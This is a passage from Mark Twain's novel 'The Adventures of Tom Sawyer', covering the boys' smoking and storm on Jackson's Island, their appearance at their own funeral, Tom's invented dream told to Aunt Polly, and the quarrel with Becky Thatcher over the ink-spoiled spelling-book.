too. He hoped +the boys would stop, but they still waded slowly on. +It suddenly dawned on Tom that it was become very +lonely and still. He made one final struggle with his +pride, and then darted after his comrades, yelling: + +"Wait! Wait! I want to tell you something!" + +They presently stopped and turned around. When +he got to where they were, he began unfolding his +secret, and they listened moodily till at last they saw +the "point" he was driving at, and then they set +up a war-whoop of applause and said it was "splen- +did!" and said if he had told them at first, they wouldn't +have started away. He made a plausible excuse; but +his real reason had been the fear that not even the +secret would keep them with him any very great length +of time, and so he had meant to hold it in reserve as a +last seduction. + +The lads came gayly back and went at their sports +again with a will, chattering all the time about Tom's +stupendous plan and admiring the genius of it. After +a dainty egg and fish dinner, Tom said he wanted to +learn to smoke, now. Joe caught at the idea and said +he would like to try, too. So Huck made pipes and +filled them. These novices had never smoked anything +before but cigars made of grape-vine, and they "bit" +the tongue, and were not considered manly anyway. + +Now they stretched themselves out on their elbows +and began to puff, charily, and with slender confi- +dence. The smoke had an unpleasant taste, and +they gagged a little, but Tom said: + +"Why, it's just as easy! If I'd a knowed this was +all, I'd a learnt long ago." + +"So would I," said Joe. "It's just nothing." + +"Why, many a time I've looked at people smoking, +and thought well I wish I could do that; but I never +thought I could," said Tom. + +"That's just the way with me, hain't it, Huck? +You've heard me talk just that way -- haven't you, +Huck? I'll leave it to Huck if I haven't." + +"Yes -- heaps of times," said Huck. + +"Well, I have too," said Tom; "oh, hundreds of +times. Once down by the slaughter-house. Don't +you remember, Huck? Bob Tanner was there, and +Johnny Miller, and Jeff Thatcher, when I said it. +Don't you remember, Huck, 'bout me saying that?" + +"Yes, that's so," said Huck. "That was the day +after I lost a white alley. No, 'twas the day before." + +"There -- I told you so," said Tom. "Huck rec- +ollects it." + +"I bleeve I could smoke this pipe all day," said Joe. +"I don't feel sick." + +"Neither do I," said Tom. "I could smoke it all +day. But I bet you Jeff Thatcher couldn't." + +"Jeff Thatcher! Why, he'd keel over just with two +draws. Just let him try it once. HE'D see!" + +"I bet he would. And Johnny Miller -- I wish +could see Johnny Miller tackle it once." + +"Oh, don't I!" said Joe. "Why, I bet you Johnny +Miller couldn't any more do this than nothing. Just +one little snifter would fetch HIM." + +"'Deed it would, Joe. Say -- I wish the boys could +see us now." + +"So do I." + +"Say -- boys, don't say anything about it, and some +time when they're around, I'll come up to you and +say, 'Joe, got a pipe? I want a smoke.' And you'll +say, kind of careless like, as if it warn't anything, you'll +say, 'Yes, I got my OLD pipe, and another one, but my +tobacker ain't very good.' And I'll say, 'Oh, that's all +right, if it's STRONG enough.' And then you'll out with +the pipes, and we'll light up just as ca'm, and then just +see 'em look!" + +"By jings, that'll be gay, Tom! I wish it was +NOW!" + +"So do I! And when we tell 'em we learned when +we was off pirating, won't they wish they'd been +along?" + +"Oh, I reckon not! I'll just BET they will!" + +So the talk ran on. But presently it began to flag +a trifle, and grow disjointed. The silences widened; +the expectoration marvellously increased. Every pore +inside the boys' cheeks became a spouting fountain; +they could scarcely bail out the cellars under their +tongues fast enough to prevent an inundation; little +overflowings down their throats occurred in spite of all +they could do, and sudden retchings followed every +time. Both boys were looking very pale and miserable, +now. Joe's pipe dropped from his nerveless fingers. +Tom's followed. Both fountains were going furiously +and both pumps bailing with might and main. Joe +said feebly: + +"I've lost my knife. I reckon I better go and find it." + +Tom said, with quivering lips and halting utterance: + +"I'll help you. You go over that way and I'll hunt +around by the spring. No, you needn't come, Huck -- +we can find it." + +So Huck sat down again, and waited an hour. Then +he found it lonesome, and went to find his comrades. +They were wide apart in the woods, both very pale, both +fast asleep. But something informed him that if they +had had any trouble they had got rid of it. + +They were not talkative at supper that night. They +had a humble look, and when Huck prepared his pipe +after the meal and was going to prepare theirs, they +said no, they were not feeling very well -- something they +ate at dinner had disagreed with them. + +About midnight Joe awoke, and called the boys. +There was a brooding oppressiveness in the air that +seemed to bode something. The boys huddled them- +selves together and sought the friendly companionship +of the fire, though the dull dead heat of the breathless +atmosphere was stifling. They sat still, intent and +waiting. The solemn hush continued. Beyond the +light of the fire everything was swallowed up in the +blackness of darkness. Presently there came a quiver- +ing glow that vaguely revealed the foliage for a moment +and then vanished. By and by another came, a little +stronger. Then another. Then a faint moan came +sighing through the branches of the forest and the boys +felt a fleeting breath upon their cheeks, and shuddered +with the fancy that the Spirit of the Night had gone by. +There was a pause. Now a weird flash turned night +into day and showed every little grass-blade, separate +and distinct, that grew about their feet. And it showed +three white, startled faces, too. A deep peal of thunder +went rolling and tumbling down the heavens and lost +itself in sullen rumblings in the distance. A sweep of +chilly air passed by, rustling all the leaves and snow- +ing the flaky ashes broadcast about the fire. Another +fierce glare lit up the forest and an instant crash followed +that seemed to rend the tree-tops right over the boys' +heads. They clung together in terror, in the thick +gloom that followed. A few big rain-drops fell patter- +ing upon the leaves. + +"Quick! boys, go for the tent!" exclaimed Tom. + +They sprang away, stumbling over roots and among +vines in the dark, no two plunging in the same direction. +A furious blast roared through the trees, making every- +thing sing as it went. One blinding flash after another +came, and peal on peal of deafening thunder. And now +a drenching rain poured down and the rising hurricane +drove it in sheets along the ground. The boys cried +out to each other, but the roaring wind and the boom- +ing thunder-blasts drowned their voices utterly. How- +ever, one by one they straggled in at last and took +shelter under the tent, cold, scared, and streaming +with water; but to have company in misery seemed +something to be grateful for. They could not talk, the +old sail flapped so furiously, even if the other noises +would have allowed them. The tempest rose higher +and higher, and presently the sail tore loose from its +fastenings and went winging away on the blast. The +boys seized each others' hands and fled, with many +tumblings and bruises, to the shelter of a great oak that +stood upon the river-bank. Now the battle was at its +highest. Under the ceaseless conflagration of lightning +that flamed in the skies, everything below stood out in +clean-cut and shadowless distinctness: the bending +trees, the billowy river, white with foam, the driving +spray of spume-flakes, the dim outlines of the high +bluffs on the other side, glimpsed through the drifting +cloud-rack and the slanting veil of rain. Every little +while some giant tree yielded the fight and fell crashing +through the younger growth; and the unflagging thunder- +peals came now in ear-splitting explosive bursts, keen +and sharp, and unspeakably appalling. The storm +culminated in one matchless effort that seemed likely +to tear the island to pieces, burn it up, drown it to the +tree-tops, blow it away, and deafen every creature in it, +all at one and the same moment. It was a wild night +for homeless young heads to be out in. + +But at last the battle was done, and the forces re- +tired with weaker and weaker threatenings and grum- +blings, and peace resumed her sway. The boys went +back to camp, a good deal awed; but they found there +was still something to be thankful for, because the great +sycamore, the shelter of their beds, was a ruin, now, +blasted by the lightnings, and they were not under it +when the catastrophe happened. + +Everything in camp was drenched, the camp-fire +as well; for they were but heedless lads, like their +generation, and had made no provision against rain. +Here was matter for dismay, for they were soaked +through and chilled. They were eloquent in their dis- +tress; but they presently discovered that the fire had +eaten so far up under the great log it had been built +against (where it curved upward and separated itself +from the ground), that a handbreadth or so of it had +escaped wetting; so they patiently wrought until, with +shreds and bark gathered from the under sides of shel- +tered logs, they coaxed the fire to burn again. Then +they piled on great dead boughs till they had a roar- +ing furnace, and were glad-hearted once more. They +dried their boiled ham and had a feast, and after that +they sat by the fire and expanded and glorified their +midnight adventure until morning, for there was not a +dry spot to sleep on, anywhere around. + +As the sun began to steal in upon the boys, drowsiness +came over them, and they went out on the sandbar and +lay down to sleep. They got scorched out by and by, +and drearily set about getting breakfast. After the +meal they felt rusty, and stiff-jointed, and a little home- +sick once more. Tom saw the signs, and fell to cheer- +ing up the pirates as well as he could. But they cared +nothing for marbles, or circus, or swimming, or any- +thing. He reminded them of the imposing secret, and +raised a ray of cheer. While it lasted, he got them in- +terested in a new device. This was to knock off being +pirates, for a while, and be Indians for a change. They +were attracted by this idea; so it was not long before +they were stripped, and striped from head to heel with +black mud, like so many zebras -- all of them chiefs, +of course -- and then they went tearing through the +woods to attack an English settlement. + +By and by they separated into three hostile tribes, +and darted upon each other from ambush with dread- +ful war-whoops, and killed and scalped each other by +thousands. It was a gory day. Consequently it was +an extremely satisfactory one. + +They assembled in camp toward supper-time, hungry +and happy; but now a difficulty arose -- hostile Indians +could not break the bread of hospitality together with- +out first making peace, and this was a simple im- +possibility without smoking a pipe of peace. There +was no other process that ever they had heard of. Two +of the savages almost wished they had remained pirates. +However, there was no other way; so with such show of +cheerfulness as they could muster they called for the +pipe and took their whiff as it passed, in due form. + +And behold, they were glad they had gone into +savagery, for they had gained something; they found +that they could now smoke a little without having to go +and hunt for a lost knife; they did not get sick enough +to be seriously uncomfortable. They were not likely +to fool away this high promise for lack of effort. No, +they practised cautiously, after supper, with right fair +success, and so they spent a jubilant evening. They +were prouder and happier in their new acquirement than +they would have been in the scalping and skinning of the +Six Nations. We will leave them to smoke and chat- +ter and brag, since we have no further use for them at +present. + + +CHAPTER XVII + +BUT there was no hilarity in the little town +that same tranquil Saturday afternoon. +The Harpers, and Aunt Polly's family, +were being put into mourning, with great +grief and many tears. An unusual quiet +possessed the village, although it was or- +dinarily quiet enough, in all conscience. The villagers +conducted their concerns with an absent air, and +talked little; but they sighed often. The Saturday +holiday seemed a burden to the children. They had +no heart in their sports, and gradually gave them up. + +In the afternoon Becky Thatcher found herself +moping about the deserted schoolhouse yard, and +feeling very melancholy. But she found nothing there +to comfort her. She soliloquized: + +"Oh, if I only had a brass andiron-knob again! But +I haven't got anything now to remember him by." +And she choked back a little sob. + +Presently she stopped, and said to herself: + +"It was right here. Oh, if it was to do over again, +I wouldn't say that -- I wouldn't say it for the whole +world. But he's gone now; I'll never, never, never see +him any more." + +This thought broke her down, and she wandered +away, with tears rolling down her cheeks. Then quite +a group of boys and girls -- playmates of Tom's and Joe's +-- came by, and stood looking over the paling fence +and talking in reverent tones of how Tom did so-and-so +the last time they saw him, and how Joe said this and +that small trifle (pregnant with awful prophecy, as they +could easily see now!) -- and each speaker pointed out +the exact spot where the lost lads stood at the time, and +then added something like "and I was a-standing just +so -- just as I am now, and as if you was him -- I was as +close as that -- and he smiled, just this way -- and then +something seemed to go all over me, like -- awful, you +know -- and I never thought what it meant, of course, +but I can see now!" + +Then there was a dispute about who saw the dead +boys last in life, and many claimed that dismal dis- +tinction, and offered evidences, more or less tampered +with by the witness; and when it was ultimately decided +who DID see the departed last, and exchanged the last +words with them, the lucky parties took upon them- +selves a sort of sacred importance, and were gaped at +and envied by all the rest. One poor chap, who had no +other grandeur to offer, said with tolerably manifest +pride in the remembrance: + +"Well, Tom Sawyer he licked me once." + +But that bid for glory was a failure. Most of the +boys could say that, and so that cheapened the dis- +tinction too much. The group loitered away, still re- +calling memories of the lost heroes, in awed voices. + +When the Sunday-school hour was finished, the next +morning, the bell began to toll, instead of ringing in +the usual way. It was a very still Sabbath, and the +mournful sound seemed in keeping with the musing +hush that lay upon nature. The villagers began to +gather, loitering a moment in the vestibule to converse +in whispers about the sad event. But there was no +whispering in the house; only the funereal rustling of +dresses as the women gathered to their seats disturbed +the silence there. None could remember when the +little church had been so full before. There was finally +a waiting pause, an expectant dumbness, and then Aunt +Polly entered, followed by Sid and Mary, and they by +the Harper family, all in deep black, and the whole +congregation, the old minister as well, rose reverently +and stood until the mourners were seated in the front +pew. There was another communing silence, broken +at intervals by muffled sobs, and then the minister +spread his hands abroad and prayed. A moving hymn +was sung, and the text followed: "I am the Resurrection +and the Life." + +As the service proceeded, the clergyman drew such +pictures of the graces, the winning ways, and the rare +promise of the lost lads that every soul there, thinking +he recognized these pictures, felt a pang in remembering +that he had persistently blinded himself to them always +before, and had as persistently seen only faults and +flaws in the poor boys. The minister related many a +touching incident in the lives of the departed, too, which +illustrated their sweet, generous natures, and the people +could easily see, now, how noble and beautiful those +episodes were, and remembered with grief that at the +time they occurred they had seemed rank rascalities, +well deserving of the cowhide. The congregation be- +came more and more moved, as the pathetic tale went +on, till at last the whole company broke down and joined +the weeping mourners in a chorus of anguished sobs, +the preacher himself giving way to his feelings, and +crying in the pulpit. + +There was a rustle in the gallery, which nobody +noticed; a moment later the church door creaked; the +minister raised his streaming eyes above his hand- +kerchief, and stood transfixed! First one and then +another pair of eyes followed the minister's, and then +almost with one impulse the congregation rose and +stared while the three dead boys came marching up +the aisle, Tom in the lead, Joe next, and Huck, a ruin +of drooping rags, sneaking sheepishly in the rear! +They had been hid in the unused gallery listening to +their own funeral sermon! + +Aunt Polly, Mary, and the Harpers threw themselves +upon their restored ones, smothered them with kisses +and poured out thanksgivings, while poor Huck stood +abashed and uncomfortable, not knowing exactly what +to do or where to hide from so many unwelcoming eyes. +He wavered, and started to slink away, but Tom seized +him and said: + +"Aunt Polly, it ain't fair. Somebody's got to be glad +to see Huck." + +"And so they shall. I'm glad to see him, poor +motherless thing!" And the loving attentions Aunt +Polly lavished upon him were the one thing capable of +making him more uncomfortable than he was before. + +Suddenly the minister shouted at the top of his voice: +"Praise God from whom all blessings flow -- SING! -- +and put your hearts in it!" + +And they did. Old Hundred swelled up with a +triumphant burst, and while it shook the rafters Tom +Sawyer the Pirate looked around upon the envying +juveniles about him and confessed in his heart that this +was the proudest moment of his life. + +As the "sold" congregation trooped out they said +they would almost be willing to be made ridiculous +again to hear Old Hundred sung like that once more. + +Tom got more cuffs and kisses that day -- according +to Aunt Polly's varying moods -- than he had earned +before in a year; and he hardly knew which expressed +the most gratefulness to God and affection for himself. + + +CHAPTER XVIII + +THAT was Tom's great secret -- the scheme +to return home with his brother pirates +and attend their own funerals. They had +paddled over to the Missouri shore on +a log, at dusk on Saturday, landing five +or six miles below the village; they had +slept in the woods at the edge of the town till nearly day- +light, and had then crept through back lanes and alleys +and finished their sleep in the gallery of the church +among a chaos of invalided benches. + +At breakfast, Monday morning, Aunt Polly and +Mary were very loving to Tom, and very attentive to +his wants. There was an unusual amount of talk. In +the course of it Aunt Polly said: + +"Well, I don't say it wasn't a fine joke, Tom, to keep +everybody suffering 'most a week so you boys had a +good time, but it is a pity you could be so hard-hearted +as to let me suffer so. If you could come over on a log +to go to your funeral, you could have come over and +give me a hint some way that you warn't dead, but only +run off." + +"Yes, you could have done that, Tom," said Mary; +"and I believe you would if you had thought of it." + +"Would you, Tom?" said Aunt Polly, her face light- +ing wistfully. "Say, now, would you, if you'd thought +of it?" + +"I -- well, I don't know. 'Twould 'a' spoiled every- +thing." + +"Tom, I hoped you loved me that much," said Aunt +Polly, with a grieved tone that discomforted the boy. +"It would have been something if you'd cared enough +to THINK of it, even if you didn't DO it." + +"Now, auntie, that ain't any harm," pleaded Mary; +"it's only Tom's giddy way -- he is always in such a rush +that he never thinks of anything." + +"More's the pity. Sid would have thought. And +Sid would have come and DONE it, too. Tom, you'll +look back, some day, when it's too late, and wish you'd +cared a little more for me when it would have cost you +so little." + +"Now, auntie, you know I do care for you," said +Tom. + +"I'd know it better if you acted more like it." + +"I wish now I'd thought," said Tom, with a re- +pentant tone; "but I dreamt about you, anyway. +That's something, ain't it?" + +"It ain't much -- a cat does that much -- but it's bet- +ter than nothing. What did you dream?" + +"Why, Wednesday night I dreamt that you was +sitting over there by the bed, and Sid was sitting by +the woodbox, and Mary next to him." + +"Well, so we did. So we always do. I'm glad +your dreams could take even that much trouble about +us." + +"And I dreamt that Joe Harper's mother was here." + +"Why, she was here! Did you dream any more?" + +"Oh, lots. But it's so dim, now." + +"Well, try to recollect -- can't you?" + +"Somehow it seems to me that the wind -- the wind +blowed the -- the --" + +"Try harder, Tom! The wind did blow something. +Come!" + +Tom pressed his fingers on his forehead an anxious +minute, and then said: + +"I've got it now! I've got it now! It blowed the +candle!" + +"Mercy on us! Go on, Tom -- go on!" + +"And it seems to me that you said, 'Why, I believe +that that door --'" + +"Go ON, Tom!" + +"Just let me study a moment -- just a moment. Oh, +yes -- you said you believed the door was open." + +"As I'm sitting here, I did! Didn't I, Mary! Go on!" + +"And then -- and then -- well I won't be certain, but +it seems like as if you made Sid go and -- and --" + +"Well? Well? What did I make him do, Tom? +What did I make him do?" + +"You made him -- you -- Oh, you made him shut it." + +"Well, for the land's sake! I never heard the beat +of that in all my days! Don't tell ME there ain't +anything in dreams, any more. Sereny Harper shall +know of this before I'm an hour older. I'd like to see +her get around THIS with her rubbage 'bout superstition. +Go on, Tom!" + +"Oh, it's all getting just as bright as day, now. +Next you said I warn't BAD, only mischeevous and +harum-scarum, and not any more responsible than -- +than -- I think it was a colt, or something." + +"And so it was! Well, goodness gracious! Go on, +Tom!" + +"And then you began to cry." + +"So I did. So I did. Not the first time, neither. +And then --" + +"Then Mrs. Harper she began to cry, and said Joe +was just the same, and she wished she hadn't whipped +him for taking cream when she'd throwed it out her +own self --" + +"Tom! The sperrit was upon you! You was a +prophesying -- that's what you was doing! Land alive, +go on, Tom!" + +"Then Sid he said -- he said --" + +"I don't think I said anything," said Sid. + +"Yes you did, Sid," said Mary. + +"Shut your heads and let Tom go on! What did +he say, Tom?" + +"He said -- I THINK he said he hoped I was better +off where I was gone to, but if I'd been better some- +times --" + +"THERE, d'you hear that! It was his very words!" + +"And you shut him up sharp." + +"I lay I did! There must 'a' been an angel there. +There WAS an angel there, somewheres!" + +"And Mrs. Harper told about Joe scaring her with +a firecracker, and you told about Peter and the Pain- +killer --" + +"Just as true as I live!" + +"And then there was a whole lot of talk 'bout drag- +ging the river for us, and 'bout having the funeral +Sunday, and then you and old Miss Harper hugged +and cried, and she went." + +"It happened just so! It happened just so, as sure +as I'm a-sitting in these very tracks. Tom, you couldn't +told it more like if you'd 'a' seen it! And then what? +Go on, Tom!" + +"Then I thought you prayed for me -- and I could +see you and hear every word you said. And you went +to bed, and I was so sorry that I took and wrote on a +piece of sycamore bark, 'We ain't dead -- we are only +off being pirates,' and put it on the table by the candle; +and then you looked so good, laying there asleep, that +I thought I went and leaned over and kissed you on +the lips." + +"Did you, Tom, DID you! I just forgive you every- +thing for that!" And she seized the boy in a crushing +embrace that made him feel like the guiltiest of villains. + +"It was very kind, even though it was only a -- +dream," Sid soliloquized just audibly. + +"Shut up, Sid! A body does just the same in a +dream as he'd do if he was awake. Here's a big +Milum apple I've been saving for you, Tom, if you +was ever found again -- now go 'long to school. I'm +thankful to the good God and Father of us all I've got +you back, that's long-suffering and merciful to them +that believe on Him and keep His word, though good- +ness knows I'm unworthy of it, but if only the worthy +ones got His blessings and had His hand to help them +over the rough places, there's few enough would smile +here or ever enter into His rest when the long night +comes. Go 'long Sid, Mary, Tom -- take yourselves +off -- you've hendered me long enough." + +The children left for school, and the old lady to call +on Mrs. Harper and vanquish her realism with Tom's +marvellous dream. Sid had better judgment than to +utter the thought that was in his mind as he left the +house. It was this: "Pretty thin -- as long a dream as +that, without any mistakes in it!" + +What a hero Tom was become, now! He did not +go skipping and prancing, but moved with a dignified +swagger as became a pirate who felt that the public +eye was on him. And indeed it was; he tried not to +seem to see the looks or hear the remarks as he passed +along, but they were food and drink to him. Smaller +boys than himself flocked at his heels, as proud to be +seen with him, and tolerated by him, as if he had been +the drummer at the head of a procession or the elephant +leading a menagerie into town. Boys of his own size +pretended not to know he had been away at all; but +they were consuming with envy, nevertheless. They +would have given anything to have that swarthy sun- +tanned skin of his, and his glittering notoriety; and +Tom would not have parted with either for a circus. + +At school the children made so much of him and of +Joe, and delivered such eloquent admiration from their +eyes, that the two heroes were not long in becoming in- +sufferably "stuck-up." They began to tell their ad- +ventures to hungry listeners -- but they only began; it +was not a thing likely to have an end, with imaginations +like theirs to furnish material. And finally, when they +got out their pipes and went serenely puffing around, +the very summit of glory was reached. + +Tom decided that he could be independent of Becky +Thatcher now. Glory was sufficient. He would live +for glory. Now that he was distinguished, maybe she +would be wanting to "make up." Well, let her -- she +should see that he could be as indifferent as some other +people. Presently she arrived. Tom pretended not to +see her. He moved away and joined a group of boys +and girls and began to talk. Soon he observed that she +was tripping gayly back and forth with flushed face and +dancing eyes, pretending to be busy chasing school- +mates, and screaming with laughter when she made a +capture; but he noticed that she always made her capt- +ures in his vicinity, and that she seemed to cast a con- +scious eye in his direction at such times, too. It grati- +fied all the vicious vanity that was in him; and so, +instead of winning him, it only "set him up" the more +and made him the more diligent to avoid betraying that +he knew she was about. Presently she gave over sky- +larking, and moved irresolutely about, sighing once or +twice and glancing furtively and wistfully toward Tom. +Then she observed that now Tom was talking more +particularly to Amy Lawrence than to any one else. +She felt a sharp pang and grew disturbed and uneasy +at once. She tried to go away, but her feet were +treacherous, and carried her to the group instead. She +said to a girl almost at Tom's elbow -- with sham +vivacity: + +"Why, Mary Austin! you bad girl, why didn't you +come to Sunday-school?" + +"I did come -- didn't you see me?" + +"Why, no! Did you? Where did you sit?" + +"I was in Miss Peters' class, where I always go. +I saw YOU." + +"Did you? Why, it's funny I didn't see you. I +wanted to tell you about the picnic." + +"Oh, that's jolly. Who's going to give it?" + +"My ma's going to let me have one." + +"Oh, goody; I hope she'll let ME come." + +"Well, she will. The picnic's for me. She'll let any- +body come that I want, and I want you." + +"That's ever so nice. When is it going to be?" + +"By and by. Maybe about vacation." + +"Oh, won't it be fun! You going to have all the +girls and boys?" + +"Yes, every one that's friends to me -- or wants to +be"; and she glanced ever so furtively at Tom, but he +talked right along to Amy Lawrence about the terrible +storm on the island, and how the lightning tore the great +sycamore tree "all to flinders" while he was "standing +within three feet of it." + +"Oh, may I come?" said Grace Miller. + +"Yes." + +"And me?" said Sally Rogers. + +"Yes." + +"And me, too?" said Susy Harper. "And Joe?" + +"Yes." + +And so on, with clapping of joyful hands till all the +group had begged for invitations but Tom and Amy. +Then Tom turned coolly away, still talking, and took +Amy with him. Becky's lips trembled and the tears +came to her eyes; she hid these signs with a forced gayety +and went on chattering, but the life had gone out of the +picnic, now, and out of everything else; she got away as +soon as she could and hid herself and had what her sex +call "a good cry." Then she sat moody, with wounded +pride, till the bell rang. She roused up, now, with a +vindictive cast in her eye, and gave her plaited tails a +shake and said she knew what SHE'D do. + +At recess Tom continued his flirtation with Amy +with jubilant self-satisfaction. And he kept drifting +about to find Becky and lacerate her with the per- +formance. At last he spied her, but there was a +sudden falling of his mercury. She was sitting cosily +on a little bench behind the schoolhouse looking at a +picture-book with Alfred Temple -- and so absorbed +were they, and their heads so close together over +the book, that they did not seem to be conscious of +anything in the world besides. Jealousy ran red-hot +through Tom's veins. He began to hate himself for +throwing away the chance Becky had offered for a +reconciliation. He called himself a fool, and all the +hard names he could think of. He wanted to cry with +vexation. Amy chatted happily along, as they walked, +for her heart was singing, but Tom's tongue had lost +its function. He did not hear what Amy was saying, and +whenever she paused expectantly he could only stammer +an awkward assent, which was as often misplaced as +otherwise. He kept drifting to the rear of the school- +house, again and again, to sear his eyeballs with the +hateful spectacle there. He could not help it. And +it maddened him to see, as he thought he saw, that +Becky Thatcher never once suspected that he was even +in the land of the living. But she did see, nevertheless; +and she knew she was winning her fight, too, and was +glad to see him suffer as she had suffered. + +Amy's happy prattle became intolerable. Tom hint- +ed at things he had to attend to; things that must +be done; and time was fleeting. But in vain -- the +girl chirped on. Tom thought, "Oh, hang her, ain't +I ever going to get rid of her?" At last he must be +attending to those things -- and she said artlessly that +she would be "around" when school let out. And he +hastened away, hating her for it. + +"Any other boy!" Tom thought, grating his teeth. +"Any boy in the whole town but that Saint Louis +smarty that thinks he dresses so fine and is aristocracy! +Oh, all right, I licked you the first day you ever saw this +town, mister, and I'll lick you again! You just wait +till I catch you out! I'll just take and --" + +And he went through the motions of thrashing an +imaginary boy -- pummelling the air, and kicking and +gouging. "Oh, you do, do you? You holler 'nough, +do you? Now, then, let that learn you!" And so the +imaginary flogging was finished to his satisfaction. + +Tom fled home at noon. His conscience could +not endure any more of Amy's grateful happiness, and +his jealousy could bear no more of the other distress. +Becky resumed her picture inspections with Alfred, +but as the minutes dragged along and no Tom came to +suffer, her triumph began to cloud and she lost inter- +est; gravity and absent-mindedness followed, and then +melancholy; two or three times she pricked up her ear +at a footstep, but it was a false hope; no Tom came. +At last she grew entirely miserable and wished she +hadn't carried it so far. When poor Alfred, seeing +that he was losing her, he did not know how, kept ex- +claiming: "Oh, here's a jolly one! look at this!" she lost +patience at last, and said, "Oh, don't bother me! I +don't care for them!" and burst into tears, and got up +and walked away. + +Alfred dropped alongside and was going to try to +comfort her, but she said: + +"Go away and leave me alone, can't you! I hate +you!" + +So the boy halted, wondering what he could have +done -- for she had said she would look at pictures all +through the nooning -- and she walked on, crying. +Then Alfred went musing into the deserted school- +house. He was humiliated and angry. He easily +guessed his way to the truth -- the girl had simply made +a convenience of him to vent her spite upon Tom +Sawyer. He was far from hating Tom the less when +this thought occurred to him. He wished there was +some way to get that boy into trouble without much +risk to himself. Tom's spelling-book fell under his +eye. Here was his opportunity. He gratefully opened +to the lesson for the afternoon and poured ink upon the +page. + +Becky, glancing in at a window behind him at the +moment, saw the act, and moved on, without discover- +ing herself. She started homeward, now, intending to +find Tom and tell him; Tom would be thankful and +their troubles would be healed. Before she was half +way home, however, she had changed her mind. The +thought of Tom's treatment of her when she was talking +about her picnic came scorching back and filled her +with shame. She resolved to let him get whipped on +the damaged spelling-book's account, and to hate him +forever, into the bargain. + + +CHAPTER XIX + +TOM arrived at home in a dreary mood, +and the first thing his aunt said to him +showed him that he had brought his +sorrows to an unpromising market: + +"Tom, I've a notion to skin you alive!" + +"Auntie, what have I done?" + +"Well, you've done enough. Here I go over to Se- +reny Harper, like an old softy, expecting I'm going to +make her believe all that rubbage about that dream, +when lo and behold you she'd found out from Joe that +you was over here and heard all the talk we had that +night. Tom, I don't know what is to become of a boy +that will act like that. It makes me feel so bad to think +you could let me go to Sereny Harper and make such a +fool of myself and never say a word." + +This was a new aspect of the thing. His smartness +of the morning had seemed to Tom a good joke be- +fore, and very ingenious. It merely looked mean and +shabby now. He hung his head and could not think +of anything to say for a moment. Then he said: + +"Auntie, I wish I hadn't done it -- but I didn't think." + +"Oh, child, you never think. You never think of +anything but your own selfishness. You could think +to come all the way over here from Jackson's Island in +the night to laugh at our troubles, and you could think +to fool me with a lie about a dream; but you couldn't +ever think to pity us and save us from sorrow." + +"Auntie, I know now it was mean, but I didn't +mean to be mean. I didn't, honest. And besides, I +didn't come over here to laugh at you that night." + +"What did you come for, then?" + +"It was to tell you not to be uneasy about us, be- +cause we hadn't got drownded." + +"Tom, Tom, I would be the thankfullest soul in this +world if I could believe you ever had as good a thought +as that, but you know you never did -- and I know it, +Tom." + +"Indeed and 'deed I did, auntie -- I wish I may never +stir if I didn't." + +"Oh, Tom, don't lie -- don't do it. It only makes +things a hundred times worse." + +"It ain't a lie, auntie; it's the truth. I wanted to +keep you from grieving -- that was all that made me +come." + +"I'd give the whole world to believe that -- it would +cover up a power of sins, Tom. I'd 'most be glad you'd +run off and acted so bad. But it ain't reasonable; be- +cause, why didn't you tell me, child?" + +"Why, you see, when you got to talking about the +funeral, I just got all full of the idea of our coming and +hiding in the church, and I couldn't somehow bear to +spoil it. So I just put the bark back in my pocket and +kept mum." + +"What bark?" + +"The bark I had wrote on to tell you we'd gone +pirating. I wish, now, you'd waked up when I kissed +you -- I do, honest." + +The hard lines in his aunt's face relaxed and a sud- +den tenderness dawned in her eyes. + +"DID you kiss me, Tom?" + +"Why, yes, I did." + +"Are you sure you did, Tom?" + +"Why, yes, I did, auntie -- certain sure." + +"What did you kiss me for, Tom?" + +"Because I loved you so, and you laid there moaning +and I was so sorry." + +The words sounded like truth. The old lady could +not hide a tremor in her voice when she said: + +"Kiss me again, Tom! -- and be off with you to +school, now, and don't bother me any more." + +The moment he was gone, she ran to a closet and +got out the ruin of a jacket which Tom had gone +pirating in. Then she stopped, with it in her hand, +and said to herself: + +"No, I don't dare. Poor boy, I reckon he's lied +about it -- but it's a blessed, blessed lie, there's such a +comfort come from it. I hope the Lord -- I KNOW the +Lord will forgive him, because it was such good- +heartedness in him to tell it. But I don't want to find +out it's a lie. I won't look." + +She put the jacket away, and stood by musing a +minute. Twice she put out her hand to take the +garment again, and twice she refrained. Once more +she ventured, and this time she fortified herself with +the thought: "It's a good lie -- it's a good lie -- I won't +let it grieve me." So she sought the jacket pocket. A +moment later she was reading Tom's piece of bark +through flowing tears and saying: "I could forgive the +boy, now, if he'd committed a million sins!" + + +CHAPTER XX + +THERE was something about Aunt Polly's +manner, when she kissed Tom, that swept +away his low spirits and made him light- +hearted and happy again. He started to +school and had the luck of coming upon +Becky Thatcher at the head of Meadow +Lane. His mood always determined his manner. +Without a moment's hesitation he ran to her and said: + +"I acted mighty mean to-day, Becky, and I'm so +sorry. I won't ever, ever do that way again, as long +as ever I live -- please make up, won't you?" + +The girl stopped and looked him scornfully in the +face: + +"I'll thank you to keep yourself TO yourself, Mr. +Thomas Sawyer. I'll never speak to you again." + +She tossed her head and passed on. Tom was so +stunned that he had not even presence of mind enough +to say "Who cares, Miss Smarty?" until the right time +to say it had gone by. So he said nothing. But he +was in a fine rage, nevertheless. He moped into the +schoolyard wishing she were a boy, and imagining +how he would trounce her if she were. He presently +encountered her and delivered a stinging remark as he +passed. She hurled one in return, and the angry +breach was complete. It seemed to Becky, in her hot +resentment, that she could hardly wait for school to +"take in," she was so impatient to see Tom flogged for +the injured spelling-book. If she had had any linger- +ing notion of exposing Alfred Temple, Tom's offensive +fling had driven it entirely away. + +Poor girl, she did not know how fast she was near- +ing trouble herself. The master, Mr. Dobbins, had +reached middle age with an unsatisfied ambition. The +darling of his desires was, to be a doctor, but poverty +had decreed that he should be nothing higher than a +village schoolmaster. Every day he took a mysterious +book out of his desk and absorbed himself in it at times +when no classes were reciting. He kept that book un- +der lock and key. There was not an urchin in school +but was perishing to have a glimpse of it, but the chance +never came. Every boy and girl had a theory about +the nature of that book; but no two theories were alike, +and there was no way of getting at the facts in the case. +Now, as Becky was passing by the desk, which stood +near the door, she noticed that the key was in the lock! +It was a precious moment. She glanced around; +found herself alone, and the next instant she had the +book in her hands. The title-page -- Professor Some- +body's ANATOMY -- carried no information to her mind; +so she began to turn the leaves. She came at once upon +a handsomely engraved and colored frontispiece -- a hu- +man figure, stark naked. At that moment a shadow +fell on the page and Tom Sawyer stepped in at the +door and caught a glimpse of the picture. Becky +snatched at the book to close it, and had the hard luck +to tear the pictured page half down the middle. She +thrust the volume into the desk, turned the key, and +burst out crying 